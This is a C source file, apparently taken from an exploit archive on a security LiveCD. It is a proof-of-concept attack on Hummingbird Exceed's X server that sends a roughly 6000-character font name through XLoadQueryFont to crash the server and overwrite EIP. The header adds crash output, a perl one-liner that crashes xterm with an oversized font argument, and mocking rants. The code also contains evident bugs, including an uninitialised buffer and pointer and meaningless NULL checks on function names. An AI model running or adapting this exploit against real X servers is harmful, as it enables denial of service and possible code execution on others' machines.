home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / xwin / exceed.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  6KB  |  192 lines

  1. /*
  2.  * Crushing birds for fun and knowledge
  3.  * ------------------------------------
  4.  * 
  5.  * HQOTD: "How secure do you want it"
  6.  * http://mimage.hummingbird.com/alt_content/binary/pdf/collateral/ds/exceed_ds_en.pdf
  7.  * 
  8.  * I'll tell you: Much more please sirs.
  9.  *
  10.  * **************************************
  11.  *
  12.  * Exceed has some bugs caused by the way it handles fonts, in a local and remote
  13.  * context.
  14.  * 
  15.  * Debug output created by master techniques:
  16.  * EAX = C0000000                                               
  17.  * EBX = 00000000                                               
  18.  * ECX = 40000000                                               
  19.  * EDX = 00000501                                               
  20.  * ESI = 41414141   <-------- // Here
  21.  * EDI = 0012E138
  22.  * EIP = 41414141   <-------- // Here
  23.  * ESP = 0012E0C8
  24.  * EBP = 0012E0F0
  25.  * 
  26.  * A way to check that a server is not trying to exploit your PC could be:
  27.  *  $ xlsfonts -display exceed_server:0.0
  28.  *  ...
  29.  *  --------0------
  30.  *  --arial-bold-r---0-0-120-120-p-0-iso8859-1
  31.  *  --arial-medium-r---0-0-120-120-p-0-iso8859-1
  32.  *  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.... <-- Here
  33.  *  ...
  34.  *
  35.  * A way to hide evil font would be through the use of font aliasing.
  36.  *             -the first ever font spoofing technique, lol.
  37.  *
  38.  * [-] We can crash a local Exceed server * 2
  39.  * [-] We can crash a remote Exceed server * many lol
  40.  * [-] We can crash Exceed client that uses evil X Font Server * 1
  41.  * [-] We can write over EIP address * many lol
  42.  *
  43.  * Hummingbird informed 3 weeks ago, still no reply.
  44.  *
  45.  * **************************************
  46.  * rwxr-xr-x xterm exploit! 
  47.  *
  48.  * $ export DISPLAY=192.168.1.31:0.0    //Valid host
  49.  * $ xterm -font `perl -e 'print "69r"x10101'`
  50.  * Segmentation fault (core dumped)     //lol
  51.  * $ md5sum `which xterm`
  52.  * 09ebe34028b779eb73d4a31e987ee9ed  /usr/X11R6/bin/xterm
  53.  *
  54.  * Root user can now have super 0day xterm sploit that s/he can use to own local user
  55.  * accounts!
  56.  *
  57.  * ** This would give root the ability to become any user on the system **
  58.  * 
  59.  * More serious than su, it does not leave a log entry behind, real anon hacker style.
  60.  *
  61.  * **************************************
  62.  * 
  63.  * This is just a little hobby that saves me going to clubs at the weekend, drinking
  64.  * beer and mumbling to some strange lethargic woman with alchohol driven motives.
  65.  * 
  66.  * Computer security is #1 contraceptive, coming soon to an NHS near you.
  67.  *
  68.  * **************************************
  69.  * 
  70.  * DNSCon is coming up - www.dnscon.org
  71.  *
  72.  * **************************************
  73.  * 
  74.  * [c0ntex@darkside exceed]$ gcc -o exceed exceed.c -lX11 -L /usr/X11R6/lib
  75.  * [c0ntex@darkside exceed]$ ./exceed exploited:0.0
  76.  *
  77.  * [-] Exceed [ALL] EIP Attack - c0ntex@hushmail.com
  78.  * [-] We are using DISPLAY variable: exploited:0.0
  79.  * [-] Hang on to your feathers, sending some buffer
  80.  * 
  81.  * ..
  82.  * XIO:  fatal IO error 104 (Connection reset by peer) on X server "exploited:0.0"
  83.  *       after 11 requests (9 known processed) with 0 events remaining.
  84.  * 
  85.  * **************************************
  86.  *
  87.  * Rants:
  88.  * Knowledge is freely given and should be freely shared, however making money from
  89.  * other peoples research in any way is simply unethical. =|
  90.  *
  91.  * SF: Clever move making your vulnerability archive public `again`, this will draw
  92.  * back many versed in dot slash t3qN33kZ to infect themselves with trojan opcodes.
  93.  *   *LOL*
  94.  *
  95.  * Regards to all, keep it real.
  96.  * 
  97.  * **************************************
  98. */
  99.  
  100.  
  101. #include <stdio.h>
  102. #include <stdlib.h>
  103. #include <string.h>
  104. #include <unistd.h>
  105. #include <X11/Xlib.h>
  106.  
  107. #define BIGBIRD        6001
  108. #define DIRTY_VAL    69
  109. #define MAX_BORDER_LEN  3
  110. #define WIN_TIMER       5
  111. #define WIN_TITLE    "simple PoC window - lets shoot birds"
  112.  
  113. typedef char Birds;
  114.  
  115. int main(int argc, char *argv[])
  116. {
  117.         Birds nests[BIGBIRD];
  118.         Birds egg[2] = { 'A', '\0' };
  119.     Birds *feathersN;
  120.     Birds *HABITAT = "DISPLAY";
  121.  
  122.         unsigned short eggs, chicks;
  123.         unsigned short winW, winH, feathersW, feathersH;
  124.         unsigned long locX, locY;
  125.         unsigned long winBDR;
  126.  
  127.     
  128.     Display* feathers;
  129.         Window wingspan;
  130.     XFontStruct* birdcull;
  131.  
  132.         fprintf(stderr, "\n\n[-] Exceed [ALL] EIP Attack - c0ntex@hushmail.com\n");
  133.     
  134.         if(argc < 2) {
  135.                 fprintf(stderr, "[-] Please set IP/Hostname for DISPLAY pointer!\n");
  136.                 fprintf(stderr, "[-] Usage: %s <hostname/IP:feathers>\n\n", argv[0]);
  137.                 return EXIT_FAILURE;
  138.         }
  139.  
  140.         if(setenv(HABITAT, argv[1], 1) <0) {
  141.         perror("setenv"); return EXIT_FAILURE;
  142.     }
  143.  
  144.         fprintf(stderr, "[-] Ok, using DISPLAY variable: %s\n", argv[1]);
  145.  
  146.         for(eggs = 0; eggs < BIGBIRD -1; eggs++)
  147.                  if(strncat(nests, egg, sizeof(BIGBIRD)-1) == NULL) {
  148.                         perror("strncat"); return EXIT_FAILURE;
  149.                  }
  150.     
  151.         if((feathers = XOpenDisplay(feathersN)) == NULL) {
  152.         perror("XOpenDisplay"); return EXIT_FAILURE;
  153.     }
  154.     
  155.     chicks = DefaultScreen(feathers);
  156.  
  157.         winW = ((feathersW = DisplayWidth(feathers, chicks)) /3);
  158.         winH = ((feathersH = DisplayHeight(feathers, chicks)) /3);
  159.     locX = DIRTY_VAL; locY = DIRTY_VAL; winBDR = MAX_BORDER_LEN;
  160.     
  161.     wingspan = XCreateSimpleWindow(feathers, RootWindow(feathers, chicks),
  162.                         locX, locY, winW, winH, winBDR,
  163.                         BlackPixel(feathers, chicks),
  164.                         WhitePixel(feathers, chicks));
  165.     if(XCreateSimpleWindow == NULL) {
  166.         perror("XCreateSimpleWindow"); return EXIT_FAILURE;
  167.     }
  168.  
  169.         XStoreName(feathers, wingspan, WIN_TITLE);
  170.     if(XStoreName == NULL) {
  171.         perror("XOpenDisplay"); return EXIT_FAILURE;
  172.     }
  173.  
  174.         XMapWindow(feathers, wingspan);
  175.     if(XMapWindow == NULL) {
  176.                 perror("XOpenDisplay"); return EXIT_FAILURE;
  177.         }
  178.  
  179.     fprintf(stderr, "[-] Hang on to your feathers, sending some buffer \n\n");
  180.  
  181.     if((birdcull = XLoadQueryFont(feathers, nests)) == NULL) {
  182.         perror("XLoadQueryFont"); return EXIT_FAILURE;
  183.     }
  184.  
  185.         XCloseDisplay(feathers);
  186.  
  187.         return EXIT_SUCCESS;
  188. }
  189.  
  190.  
  191.  
  192.